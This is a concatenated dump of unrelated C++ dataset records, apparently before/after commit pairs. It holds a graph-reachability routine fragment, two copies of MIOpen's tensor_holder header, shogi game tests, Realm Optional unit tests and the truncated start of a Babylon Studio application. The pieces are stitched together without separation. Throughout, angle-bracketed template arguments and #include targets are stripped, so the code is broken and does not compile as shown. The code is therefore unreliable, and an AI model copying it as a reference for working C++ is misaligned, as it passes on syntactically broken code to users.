reply mode\n if (params.reachable) {\n if (state.hops > params.hops) {\n state.hops = params.hops;\n }\n }\n if (((--state.out_count == 0) || params.reachable) && !state.reachable) {\n state.reachable |= params.reachable;\n if (params.reachable) {\n params.hops = state.hops + 1;\n params.path.emplace_back(rn);\n if (MAX_CACHE_ENTRIES)\n {\n \/\/ now add to cache\n WDEBUG << \"adding to cache for key \" << params.dest << \" on way back from dest on node \" << rn.id << \" with path len \" << params.path.size() << std::endl;\n WDEBUG << \"path is \"<< std::endl;\n for (db::element::remote_node &r : params.path) {\n WDEBUG << r.id<< std::endl;\n }\n WDEBUG << std::endl;\n std::shared_ptr toCache(new reach_cache_value(params.path));\n std::shared_ptr> watch_set(new std::vector(params.path)); \/\/ copy return path from params\n add_cache_func(toCache, watch_set, params.dest);\n }\n }\n next.emplace_back(std::make_pair(state.prev_node, params));\n }\n if ((int)state.out_count < 0) {\n WDEBUG << \"ALERT! Bad state value in reach program\" << std::endl;\n next.clear();\n }\n }\n WDEBUG << \"propagating to \"<< std::endl;\n for (auto &pair : next) {\n WDEBUG << pair.first.id << std::endl;\n }\n WDEBUG << std::endl;\n return next;\n }\n}\n<|endoftext|>"} {"text":"\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#ifndef GUARD_TENSOR_HOLDER_HPP\n#define GUARD_TENSOR_HOLDER_HPP\n\n#include \"ford.hpp\"\n#include \"network_data.hpp\"\n#include \n#include \n\ntemplate \nvoid visit_tensor_size(std::size_t n, F f)\n{\n switch(n)\n {\n case 0:\n {\n f(std::integral_constant{});\n break;\n }\n case 1:\n {\n f(std::integral_constant{});\n break;\n }\n case 2:\n {\n f(std::integral_constant{});\n break;\n }\n case 3:\n {\n f(std::integral_constant{});\n break;\n }\n case 4:\n {\n f(std::integral_constant{});\n break;\n }\n case 5:\n {\n f(std::integral_constant{});\n break;\n }\n default: throw std::runtime_error(\"Unknown tensor size\");\n }\n}\n\n\n\n\n\n\ntemplate \nstruct tensor\n{\n miopen::TensorDescriptor desc;\n std::vector data;\n\n tensor() {}\n\n template \n tensor(const std::vector& dims)\n : desc(miopenFloat, dims.data(), static_cast(dims.size())), data(desc.GetElementSize())\n {\n }\n\n \n tensor(std::size_t n, std::size_t c, std::size_t h, std::size_t w)\n : desc(miopenFloat, {n, c, h, w}), data(n * c * h * w)\n {\n }\n\n tensor(miopen::TensorDescriptor rhs) : desc(std::move(rhs))\n {\n data.resize(desc.GetElementSize());\n }\n\n template \n tensor& generate(G g) &\n {\n this->generate_impl(g);\n return *this;\n }\n\n template \n tensor&& generate(G g) &&\n {\n this->generate_impl(g);\n return std::move(*this);\n }\n\n template \n void generate_impl(G g)\n {\n auto iterator = data.begin();\n auto assign = [&](T x)\n {\n assert(iterator < data.end());\n *iterator = x;\n ++iterator; \n };\n this->for_each(miopen::compose(assign, std::move(g)));\n }\n\n template \n struct for_each_unpacked\n {\n Loop loop;\n F f;\n template \n auto operator()(Ts... xs) const -> decltype(f(xs...), void())\n {\n loop(xs...)(std::move(f));\n }\n\n void operator()(...) const\n {\n throw std::runtime_error(\"Arguments to for_each do not match tensor size\");\n }\n };\n\n struct for_each_handler\n {\n template \n void operator()(Self* self, Loop loop, F f, Size size) const\n {\n auto dims = miopen::tien(self->desc.GetLengths());\n miopen::unpack(for_each_unpacked{loop, std::move(f)}, dims);\n }\n };\n\n template \n void for_each(F f) const\n {\n visit_tensor_size(\n desc.GetLengths().size(),\n std::bind(for_each_handler{}, this, ford, std::move(f), std::placeholders::_1));\n }\n\n template \n void par_for_each(F f) const\n {\n visit_tensor_size(\n desc.GetLengths().size(),\n std::bind(for_each_handler{}, this, par_ford, std::move(f), std::placeholders::_1));\n }\n\n template \n T& operator()(Ts... xs)\n {\n assert(this->desc.GetIndex(xs...) < data.size());\n return this->data[this->desc.GetIndex(xs...)];\n }\n\n template \n const T& operator()(Ts... xs) const\n {\n assert(this->desc.GetIndex(xs...) < data.size());\n return this->data[this->desc.GetIndex(xs...)];\n }\n \n\n T& operator[](std::size_t i) { return data.at(i); }\n\n const T& operator[](std::size_t i) const { return data.at(i); }\n\n typename std::vector::iterator begin() { return data.begin(); }\n\n typename std::vector::iterator end() { return data.end(); }\n\n typename std::vector::const_iterator begin() const { return data.begin(); }\n\n typename std::vector::const_iterator end() const { return data.end(); }\n};\n\ntemplate \ntensor make_tensor(std::initializer_list dims, G g)\n{\n \/\/ TODO: Compute float\n return tensor{miopen::TensorDescriptor{miopenFloat, dims}}.generate(g);\n}\n\ntemplate \ntensor make_tensor(const std::vector& dims)\n{\n \/\/ TODO: Compute float\n return tensor{\n miopen::TensorDescriptor{miopenFloat, dims.data(), static_cast(dims.size())}};\n}\n\ntemplate \ntensor make_tensor(const std::vector& dims, G g)\n{\n return make_tensor(dims).generate(g);\n}\n\nstruct tensor_generate\n{\n template \n Tensor&& operator()(Tensor&& t, G g) const\n {\n return std::forward(t.generate(g));\n }\n};\n\ntemplate \nstruct protect_void_fn\n{\n F f;\n protect_void_fn(F x) : f(std::move(x)) {}\n\n \/\/ template\n \/\/ auto operator()(Ts&&... xs) const MIOPEN_RETURNS\n \/\/ (f(std::forward(xs)...));\n\n template \n void operator()(Ts&&... xs) const\n {\n f(std::forward(xs)...);\n }\n};\n\ntemplate \nprotect_void_fn protect_void(F f)\n{\n return {std::move(f)};\n}\n\nstruct cross_args_apply\n{\n template \n void operator()(F f, T&& x, Ts&&... xs) const\n {\n miopen::each_args(std::bind(f, std::forward(x), std::placeholders::_1),\n std::forward(xs)...);\n }\n};\n\ntemplate \nvoid cross_args(F f, Ts&&... xs)\n{\n miopen::each_args(std::bind(cross_args_apply{},\n protect_void(std::move(f)),\n std::placeholders::_1,\n std::forward(xs)...),\n std::forward(xs)...);\n}\n\ntemplate \nstruct generate_both_visitation\n{\n template \n void operator()(F f, G1 g1, G2 g2) const\n {\n for(auto&& input : get_inputs())\n for(auto&& weights : get_weights())\n if(input.at(1) == weights.at(1)) \/\/ channels must match\n f(make_tensor(input, g1), make_tensor(weights, g2));\n }\n};\n\ntemplate \nvoid generate_binary_all(F f, Gs... gs)\n{\n cross_args(std::bind(generate_both_visitation{},\n protect_void(f),\n std::placeholders::_1,\n std::placeholders::_2),\n gs...);\n}\n\ntemplate \nvoid generate_binary_one(F f, std::vector input, std::vector weights, G g)\n{\n f(make_tensor(input, g), make_tensor(weights, g));\n}\n\ntemplate \nstruct generate_activ_visitation\n{\n template \n void operator()(F f, G g) const\n {\n for(auto&& input : get_inputs())\n f(make_tensor(input, g));\n }\n};\n\ntemplate \nvoid generate_unary_all(F f, Gs... gs)\n{\n miopen::each_args(\n std::bind(generate_activ_visitation{}, protect_void(f), std::placeholders::_1), gs...);\n}\n\ntemplate \nvoid generate_unary_one(F f, std::vector input, G g)\n{\n f(make_tensor(input, g));\n}\n\n#endif\nOne more try at merge.\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#ifndef GUARD_TENSOR_HOLDER_HPP\n#define GUARD_TENSOR_HOLDER_HPP\n\n#include \"ford.hpp\"\n#include \"network_data.hpp\"\n#include \n#include \n\ntemplate \nvoid visit_tensor_size(std::size_t n, F f)\n{\n switch(n)\n {\n case 0:\n {\n f(std::integral_constant{});\n break;\n }\n case 1:\n {\n f(std::integral_constant{});\n break;\n }\n case 2:\n {\n f(std::integral_constant{});\n break;\n }\n case 3:\n {\n f(std::integral_constant{});\n break;\n }\n case 4:\n {\n f(std::integral_constant{});\n break;\n }\n case 5:\n {\n f(std::integral_constant{});\n break;\n }\n default: throw std::runtime_error(\"Unknown tensor size\");\n }\n}\n\n\n\n\n\n\ntemplate \nstruct tensor\n{\n miopen::TensorDescriptor desc;\n std::vector data;\n\n tensor() {}\n\n template \n tensor(const std::vector& dims)\n : desc(miopenFloat, dims.data(), static_cast(dims.size())), data(desc.GetElementSize())\n {\n }\n\n \n tensor(std::size_t n, std::size_t c, std::size_t h, std::size_t w)\n : desc(miopenFloat, {n, c, h, w}), data(n * c * h * w)\n {\n }\n\n tensor(miopen::TensorDescriptor rhs) : desc(std::move(rhs))\n {\n data.resize(desc.GetElementSize());\n }\n\n template \n tensor& generate(G g) &\n {\n this->generate_impl(g);\n return *this;\n }\n\n template \n tensor&& generate(G g) &&\n {\n this->generate_impl(g);\n return std::move(*this);\n }\n\n template \n void generate_impl(G g)\n {\n auto iterator = data.begin();\n auto assign = [&](T x)\n {\n assert(iterator < data.end());\n *iterator = x;\n ++iterator; \n };\n this->for_each(miopen::compose(assign, std::move(g)));\n }\n\n template \n struct for_each_unpacked\n {\n Loop loop;\n F f;\n template \n auto operator()(Ts... xs) const -> decltype(f(xs...), void())\n {\n loop(xs...)(std::move(f));\n }\n\n void operator()(...) const\n {\n throw std::runtime_error(\"Arguments to for_each do not match tensor size\");\n }\n };\n\n struct for_each_handler\n {\n template \n void operator()(Self* self, Loop loop, F f, Size size) const\n {\n auto dims = miopen::tien(self->desc.GetLengths());\n miopen::unpack(for_each_unpacked{loop, std::move(f)}, dims);\n }\n };\n\n template \n void for_each(F f) const\n {\n visit_tensor_size(\n desc.GetLengths().size(),\n std::bind(for_each_handler{}, this, ford, std::move(f), std::placeholders::_1));\n }\n\n template \n void par_for_each(F f) const\n {\n visit_tensor_size(\n desc.GetLengths().size(),\n std::bind(for_each_handler{}, this, par_ford, std::move(f), std::placeholders::_1));\n }\n\n template \n T& operator()(Ts... ds)\n {\n assert(this->desc.GetIndex(ds...) < data.size());\n return this->data[this->desc.GetIndex(ds...)];\n }\n\n template \n const T& operator()(Ts... xs) const\n {\n assert(this->desc.GetIndex(xs...) < data.size());\n return this->data[this->desc.GetIndex(xs...)];\n }\n \n\n T& operator[](std::size_t i) { return data.at(i); }\n\n const T& operator[](std::size_t i) const { return data.at(i); }\n\n typename std::vector::iterator begin() { return data.begin(); }\n\n typename std::vector::iterator end() { return data.end(); }\n\n typename std::vector::const_iterator begin() const { return data.begin(); }\n\n typename std::vector::const_iterator end() const { return data.end(); }\n};\n\ntemplate \ntensor make_tensor(std::initializer_list dims, G g)\n{\n \/\/ TODO: Compute float\n return tensor{miopen::TensorDescriptor{miopenFloat, dims}}.generate(g);\n}\n\ntemplate \ntensor make_tensor(const std::vector& dims)\n{\n \/\/ TODO: Compute float\n return tensor{\n miopen::TensorDescriptor{miopenFloat, dims.data(), static_cast(dims.size())}};\n}\n\ntemplate \ntensor make_tensor(const std::vector& dims, G g)\n{\n return make_tensor(dims).generate(g);\n}\n\nstruct tensor_generate\n{\n template \n Tensor&& operator()(Tensor&& t, G g) const\n {\n return std::forward(t.generate(g));\n }\n};\n\ntemplate \nstruct protect_void_fn\n{\n F f;\n protect_void_fn(F x) : f(std::move(x)) {}\n\n \/\/ template\n \/\/ auto operator()(Ts&&... xs) const MIOPEN_RETURNS\n \/\/ (f(std::forward(xs)...));\n\n template \n void operator()(Ts&&... xs) const\n {\n f(std::forward(xs)...);\n }\n};\n\ntemplate \nprotect_void_fn protect_void(F f)\n{\n return {std::move(f)};\n}\n\nstruct cross_args_apply\n{\n template \n void operator()(F f, T&& x, Ts&&... xs) const\n {\n miopen::each_args(std::bind(f, std::forward(x), std::placeholders::_1),\n std::forward(xs)...);\n }\n};\n\ntemplate \nvoid cross_args(F f, Ts&&... xs)\n{\n miopen::each_args(std::bind(cross_args_apply{},\n protect_void(std::move(f)),\n std::placeholders::_1,\n std::forward(xs)...),\n std::forward(xs)...);\n}\n\ntemplate \nstruct generate_both_visitation\n{\n template \n void operator()(F f, G1 g1, G2 g2) const\n {\n for(auto&& input : get_inputs())\n for(auto&& weights : get_weights())\n if(input.at(1) == weights.at(1)) \/\/ channels must match\n f(make_tensor(input, g1), make_tensor(weights, g2));\n }\n};\n\ntemplate \nvoid generate_binary_all(F f, Gs... gs)\n{\n cross_args(std::bind(generate_both_visitation{},\n protect_void(f),\n std::placeholders::_1,\n std::placeholders::_2),\n gs...);\n}\n\ntemplate \nvoid generate_binary_one(F f, std::vector input, std::vector weights, G g)\n{\n f(make_tensor(input, g), make_tensor(weights, g));\n}\n\ntemplate \nstruct generate_activ_visitation\n{\n template \n void operator()(F f, G g) const\n {\n for(auto&& input : get_inputs())\n f(make_tensor(input, g));\n }\n};\n\ntemplate \nvoid generate_unary_all(F f, Gs... gs)\n{\n miopen::each_args(\n std::bind(generate_activ_visitation{}, protect_void(f), std::placeholders::_1), gs...);\n}\n\ntemplate \nvoid generate_unary_one(F f, std::vector input, G g)\n{\n f(make_tensor(input, g));\n}\n\n#endif\n<|endoftext|>"} {"text":"#include \n#include \"tuishogi.cpp\"\n\nnamespace tuishogi {\n\nvoid\ntest_showState(void)\n{\n \/\/ Arrange\n using namespace osl;\n std::stringbuf string_out;\n std::streambuf* std_out = std::cout.rdbuf(&string_out);\n NumEffectState state((SimpleState(HIRATE)));\n const char* expected = \"\\\nP1-KY-KE-GI-KI-OU-KI-GI-KE-KY\\n\\\nP2 * -HI * * * * * -KA * \\n\\\nP3-FU-FU-FU-FU-FU-FU-FU-FU-FU\\n\\\nP4 * * * * * * * * * \\n\\\nP5 * * * * * * * * * \\n\\\nP6 * * * * * * * * * \\n\\\nP7+FU+FU+FU+FU+FU+FU+FU+FU+FU\\n\\\nP8 * +KA * * * * * +HI * \\n\\\nP9+KY+KE+GI+KI+OU+KI+GI+KE+KY\\n\\\n+\\n\\\n\\n\";\n\n \/\/ Act\n showState(state);\n\n std::cout << std::flush;\n std::cout.rdbuf(std_out);\n\n \/\/ TODO assert it as a std::string\n std::string str = string_out.str();\n const char* actual = str.c_str();\n\n \/\/ Assert\n cut_assert_equal_string(expected, actual);\n}\n\nvoid\ntest_isMated(void)\n{\n using namespace osl;\n NumEffectState state((SimpleState(HIRATE)));\n bool mated = isMated(state);\n cut_assert_false(mated);\n}\n\nvoid\ntest_computerOperate(void)\n{\n using namespace osl;\n \/\/ TODO cleanup\n std::stringbuf string_out;\n std::streambuf* std_out = std::cout.rdbuf(&string_out);\n NumEffectState state((SimpleState(HIRATE)));\n bool ended = computerOperate(state);\n std::cout << std::flush;\n std::cout.rdbuf(std_out);\n cut_assert_false(ended);\n}\n\n} \/\/ namespace tuishogi\nAdd tests for playerOperate()#include \n#include \"tuishogi.cpp\"\n\nnamespace tuishogi {\n\nvoid\ntest_showState(void)\n{\n \/\/ Arrange\n using namespace osl;\n std::stringbuf string_out;\n std::streambuf* std_out = std::cout.rdbuf(&string_out);\n NumEffectState state((SimpleState(HIRATE)));\n const char* expected = \"\\\nP1-KY-KE-GI-KI-OU-KI-GI-KE-KY\\n\\\nP2 * -HI * * * * * -KA * \\n\\\nP3-FU-FU-FU-FU-FU-FU-FU-FU-FU\\n\\\nP4 * * * * * * * * * \\n\\\nP5 * * * * * * * * * \\n\\\nP6 * * * * * * * * * \\n\\\nP7+FU+FU+FU+FU+FU+FU+FU+FU+FU\\n\\\nP8 * +KA * * * * * +HI * \\n\\\nP9+KY+KE+GI+KI+OU+KI+GI+KE+KY\\n\\\n+\\n\\\n\\n\";\n\n \/\/ Act\n showState(state);\n\n std::cout << std::flush;\n std::cout.rdbuf(std_out);\n\n \/\/ TODO assert it as a std::string\n std::string str = string_out.str();\n const char* actual = str.c_str();\n\n \/\/ Assert\n cut_assert_equal_string(expected, actual);\n}\n\nvoid\ntest_isMated(void)\n{\n using namespace osl;\n NumEffectState state((SimpleState(HIRATE)));\n bool mated = isMated(state);\n cut_assert_false(mated);\n}\n\nvoid\ntest_computerOperate(void)\n{\n using namespace osl;\n \/\/ TODO cleanup\n std::stringbuf string_out;\n std::streambuf* std_out = std::cout.rdbuf(&string_out);\n NumEffectState state((SimpleState(HIRATE)));\n bool ended = computerOperate(state);\n std::cout << std::flush;\n std::cout.rdbuf(std_out);\n cut_assert_false(ended);\n}\n\nvoid\ntest_playerOperate_valid(void)\n{\n using namespace osl;\n \/\/ TODO cleanup\n std::stringbuf string_out;\n std::streambuf* std_out = std::cout.rdbuf(&string_out);\n NumEffectState state((SimpleState(HIRATE)));\n bool failed = playerOperate(state, \"+7776FU\");\n std::cout << std::flush;\n std::cout.rdbuf(std_out);\n cut_assert_false(failed);\n}\n\nvoid\ntest_playerOperate_invalid(void)\n{\n using namespace osl;\n \/\/ TODO cleanup\n std::stringbuf string_out;\n std::streambuf* std_out = std::cout.rdbuf(&string_out);\n NumEffectState state((SimpleState(HIRATE)));\n bool failed = playerOperate(state, \"+5251FU\");\n std::cout << std::flush;\n std::cout.rdbuf(std_out);\n cut_assert_true(failed);\n}\n\n} \/\/ namespace tuishogi\n<|endoftext|>"} {"text":"#include \"testsettings.hpp\"\n\n#include \n\n#include \"test.hpp\"\n\nusing namespace realm::util;\n\nTEST(Optional_DefaultConstructor)\n{\n Optional x{};\n CHECK(!bool(x));\n}\n\nTEST(Optional_NoneConstructor)\n{\n Optional x{realm::none};\n CHECK(!bool(x));\n}\n\nTEST(Optional_ValueConstructor)\n{\n Optional a { \"foo\" };\n CHECK(bool(a));\n}\n\nTEST(Optional_MoveConstructor)\n{\n Optional a { \"foo\" };\n Optional b { std::move(a) };\n CHECK(bool(a));\n CHECK(bool(b));\n CHECK_EQUAL(*a, \"\");\n CHECK_EQUAL(*b, \"foo\");\n}\n\nTEST(Optional_CopyConstructor)\n{\n Optional a { \"foo\" };\n Optional b { a };\n CHECK(bool(a));\n CHECK(bool(b));\n CHECK_EQUAL(*a, \"foo\");\n CHECK_EQUAL(*b, \"foo\");\n}\n\nTEST(Optional_MoveValueConstructor)\n{\n std::string a = \"foo\";\n Optional b { std::move(a) };\n CHECK(bool(b));\n CHECK_EQUAL(*b, \"foo\");\n CHECK_EQUAL(a, \"\");\n}\n\nstruct SetBooleanOnDestroy {\n bool& m_b;\n explicit SetBooleanOnDestroy(bool& b) : m_b(b) {}\n ~SetBooleanOnDestroy() { m_b = true; }\n};\n\nTEST(Optional_Destructor)\n{\n bool b = false;\n {\n Optional x { SetBooleanOnDestroy(b) };\n }\n CHECK(b);\n}\n\nTEST(Optional_DestroyOnAssignNone)\n{\n bool b = false;\n {\n Optional x { SetBooleanOnDestroy(b) };\n x = realm::none;\n CHECK(b);\n }\n CHECK(b);\n}\n\nTEST(Optional_References)\n{\n int n = 0;\n Optional x { n };\n fmap(x, [&](int& y) {\n y = 123;\n });\n CHECK(x);\n CHECK_EQUAL(x.value(), 123);\n x = realm::none;\n CHECK(!x);\n}\n\nTEST(Optional_PolymorphicReferences)\n{\n struct Foo {\n virtual ~Foo() {}\n };\n struct Bar: Foo {\n virtual ~Bar() {}\n };\n\n Bar bar;\n Optional bar_ref { bar };\n Optional foo_ref { bar_ref };\n CHECK(foo_ref);\n CHECK_EQUAL(&foo_ref.value(), &bar);\n }\n\nnamespace {\n\nint make_rvalue()\n{\n return 1;\n}\n\n}\n\nTEST(Optional_RvalueReferences)\n{\n \/\/ Should compile:\n const int foo = 1;\n Optional x{foo};\n static_cast(x);\n\n \n static_cast(make_rvalue);\n \/\/ Should not compile (would generate references to temporaries):\n \/\/ Optional y{1};\n \/\/ Optional z = 1;\n \/\/ Optional w = make_rvalue();\n}\n\nnamespace {\n\n\/\/\/ See:\n\/\/\/ http:\/\/www.boost.org\/doc\/libs\/1_57_0\/libs\/optional\/doc\/html\/boost_optional\/dependencies_and_portability\/optional_reference_binding.html\n\nconst int global_i = 0;\n\nstruct TestingReferenceBinding {\n TestingReferenceBinding(const int& ii)\n {\n REALM_ASSERT(&ii == &global_i);\n }\n\n void operator=(const int& ii)\n {\n REALM_ASSERT(&ii == &global_i);\n }\n\n void operator=(int&&)\n {\n REALM_ASSERT(false);\n }\n};\n}\n\nTEST(Optional_ReferenceBinding)\n{\n const int& iref = global_i;\n CHECK_EQUAL(&iref, &global_i);\n TestingReferenceBinding ttt = global_i;\n ttt = global_i;\n TestingReferenceBinding ttt2 = iref;\n ttt2 = iref;\n}\n\nTEST(Optional_VoidIsEquivalentToBool)\n{\n auto a = some();\n CHECK_EQUAL(sizeof(a), sizeof(bool));\n CHECK(a);\n Optional b = none;\n CHECK_EQUAL(sizeof(b), sizeof(bool));\n CHECK(!b);\n}\n\nTEST(Optional_fmap)\n{\n Optional a { 123 };\n bool a_called = false;\n auto ar = fmap(a, [&](int) {\n a_called = true;\n });\n CHECK(a_called);\n CHECK(ar);\n\n Optional b { 123 };\n auto bs = fmap(b, [](int foo) {\n std::stringstream ss;\n ss << foo;\n return ss.str();\n });\n CHECK(bs);\n CHECK_EQUAL(*bs, \"123\");\n\n Optional c;\n Optional cx = fmap(c, [](int) { return 0; });\n CHECK(!cx);\n}\n\nTEST(Optional_StreamingMap)\n{\n Optional a { 123 };\n\n auto result = a\n >> [](int b) { return b + 200; }\n >> [](int c) {\n std::ostringstream os;\n os << c;\n return os.str();\n };\n CHECK(result);\n CHECK_EQUAL(result.value(), \"323\");\n\n Optional b { 500 };\n Optional result2 = b\n >> [](int x) { return x > 300 ? some(x + 300) : none; };\n CHECK(result2);\n}\nAdded test for optional chaining.#include \"testsettings.hpp\"\n\n#include \n\n#include \"test.hpp\"\n\nusing namespace realm::util;\n\nTEST(Optional_DefaultConstructor)\n{\n Optional x{};\n CHECK(!bool(x));\n}\n\nTEST(Optional_NoneConstructor)\n{\n Optional x{realm::none};\n CHECK(!bool(x));\n}\n\nTEST(Optional_ValueConstructor)\n{\n Optional a { \"foo\" };\n CHECK(bool(a));\n}\n\nTEST(Optional_MoveConstructor)\n{\n Optional a { \"foo\" };\n Optional b { std::move(a) };\n CHECK(bool(a));\n CHECK(bool(b));\n CHECK_EQUAL(*a, \"\");\n CHECK_EQUAL(*b, \"foo\");\n}\n\nTEST(Optional_CopyConstructor)\n{\n Optional a { \"foo\" };\n Optional b { a };\n CHECK(bool(a));\n CHECK(bool(b));\n CHECK_EQUAL(*a, \"foo\");\n CHECK_EQUAL(*b, \"foo\");\n}\n\nTEST(Optional_MoveValueConstructor)\n{\n std::string a = \"foo\";\n Optional b { std::move(a) };\n CHECK(bool(b));\n CHECK_EQUAL(*b, \"foo\");\n CHECK_EQUAL(a, \"\");\n}\n\nstruct SetBooleanOnDestroy {\n bool& m_b;\n explicit SetBooleanOnDestroy(bool& b) : m_b(b) {}\n ~SetBooleanOnDestroy() { m_b = true; }\n};\n\nTEST(Optional_Destructor)\n{\n bool b = false;\n {\n Optional x { SetBooleanOnDestroy(b) };\n }\n CHECK(b);\n}\n\nTEST(Optional_DestroyOnAssignNone)\n{\n bool b = false;\n {\n Optional x { SetBooleanOnDestroy(b) };\n x = realm::none;\n CHECK(b);\n }\n CHECK(b);\n}\n\nTEST(Optional_References)\n{\n int n = 0;\n Optional x { n };\n fmap(x, [&](int& y) {\n y = 123;\n });\n CHECK(x);\n CHECK_EQUAL(x.value(), 123);\n x = realm::none;\n CHECK(!x);\n}\n\nTEST(Optional_PolymorphicReferences)\n{\n struct Foo {\n virtual ~Foo() {}\n };\n struct Bar: Foo {\n virtual ~Bar() {}\n };\n\n Bar bar;\n Optional bar_ref { bar };\n Optional foo_ref { bar_ref };\n CHECK(foo_ref);\n CHECK_EQUAL(&foo_ref.value(), &bar);\n }\n\nnamespace {\n\nint make_rvalue()\n{\n return 1;\n}\n\n}\n\nTEST(Optional_RvalueReferences)\n{\n \/\/ Should compile:\n const int foo = 1;\n Optional x{foo};\n static_cast(x);\n\n \n static_cast(make_rvalue);\n \/\/ Should not compile (would generate references to temporaries):\n \/\/ Optional y{1};\n \/\/ Optional z = 1;\n \/\/ Optional w = make_rvalue();\n}\n\nnamespace {\n\n\/\/\/ See:\n\/\/\/ http:\/\/www.boost.org\/doc\/libs\/1_57_0\/libs\/optional\/doc\/html\/boost_optional\/dependencies_and_portability\/optional_reference_binding.html\n\nconst int global_i = 0;\n\nstruct TestingReferenceBinding {\n TestingReferenceBinding(const int& ii)\n {\n REALM_ASSERT(&ii == &global_i);\n }\n\n void operator=(const int& ii)\n {\n REALM_ASSERT(&ii == &global_i);\n }\n\n void operator=(int&&)\n {\n REALM_ASSERT(false);\n }\n};\n}\n\nTEST(Optional_ReferenceBinding)\n{\n const int& iref = global_i;\n CHECK_EQUAL(&iref, &global_i);\n TestingReferenceBinding ttt = global_i;\n ttt = global_i;\n TestingReferenceBinding ttt2 = iref;\n ttt2 = iref;\n}\n\nTEST(Optional_VoidIsEquivalentToBool)\n{\n auto a = some();\n CHECK_EQUAL(sizeof(a), sizeof(bool));\n CHECK(a);\n Optional b = none;\n CHECK_EQUAL(sizeof(b), sizeof(bool));\n CHECK(!b);\n}\n\nTEST(Optional_fmap)\n{\n Optional a { 123 };\n bool a_called = false;\n auto ar = fmap(a, [&](int) {\n a_called = true;\n });\n CHECK(a_called);\n CHECK(ar);\n\n Optional b { 123 };\n auto bs = fmap(b, [](int foo) {\n std::stringstream ss;\n ss << foo;\n return ss.str();\n });\n CHECK(bs);\n CHECK_EQUAL(*bs, \"123\");\n\n Optional c;\n Optional cx = fmap(c, [](int) { return 0; });\n CHECK(!cx);\n}\n\nTEST(Optional_StreamingMap)\n{\n Optional a { 123 };\n\n auto result = a\n >> [](int b) { return b + 200; }\n >> [](int c) {\n std::ostringstream os;\n os << c;\n return os.str();\n };\n CHECK(result);\n CHECK_EQUAL(result.value(), \"323\");\n\n Optional b { 500 };\n Optional result2 = b\n >> [](int x) { return x > 300 ? some(x + 300) : none; };\n CHECK(result2);\n}\n\nTEST(Optional_Chaining)\n{\n struct Foo {\n int bar() { return 123; }\n };\n Optional foo { Foo{} };\n auto r = foo >> std::mem_fn(&Foo::bar);\n CHECK(r);\n CHECK_EQUAL(r.value(), 123);\n}\n<|endoftext|>"} {"text":"#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#ifdef _WIN32\n#include \n#endif\n\n#include \n\nnamespace BABYLON {\n\nclass BabylonStudioApp {\npublic:\n BabylonStudioApp()\n {\n std::string exePath = BABYLON::System::getExecutablePath();\n std::string exeFolder = BABYLON::Filesystem::baseDir(exePath);\n std::string playgroundPath = exeFolder + \"\/..\/..\/..\/src\/BabylonStudio\/playground.cpp\";\n playgroundPath = BABYLON::Filesystem::absolutePath(playgroundPath);\n _playgroundCodeEditor.setFiles({playgroundPath});\n _playgroundCodeEditor.setLightPalette();\n }\n\n void RunApp(std::shared_ptr initialScene,\n const BabylonStudioOptions& options)\n {\n _appContext._options = options;\n _appContext._options._appWindowParams.ShowMenuBar = true;\n\n std::function showGuiLambda = [this]() -> bool {\n bool r = this->render();\n for (auto f : _appContext._options._heartbeatCallbacks)\n f();\n if (_appContext._options._playgroundCompilerCallback) {\n PlaygroundCompilerStatus playgroundCompilerStatus\n = _appContext._options._playgroundCompilerCallback();\n if (playgroundCompilerStatus._renderableScene)\n setRenderableScene(playgroundCompilerStatus._renderableScene);\n _appContext._isCompiling = playgroundCompilerStatus._isCompiling;\n }\n return r;\n };\n\n auto initSceneLambda = [&]() {\n this->initScene();\n this->setRenderableScene(initialScene);\n };\n\n _appContext._options._appWindowParams.InitialDockLayoutFunction = [this](ImGuiID mainDockId) {\n _studioLayout.PrepareLayout(mainDockId);\n };\n ImGuiUtils::ImGuiRunner::RunGui(showGuiLambda, _appContext._options._appWindowParams,\n initSceneLambda);\n }\n\nprivate:\n void registerRenderFunctions()\n {\n static bool registered = false;\n if (registered)\n return;\n\n \/\/ clang-format off\n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::Inspector,\n [this]() { \n if (_appContext._inspector) \n _appContext._inspector->render(); \n });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::Logs, \n 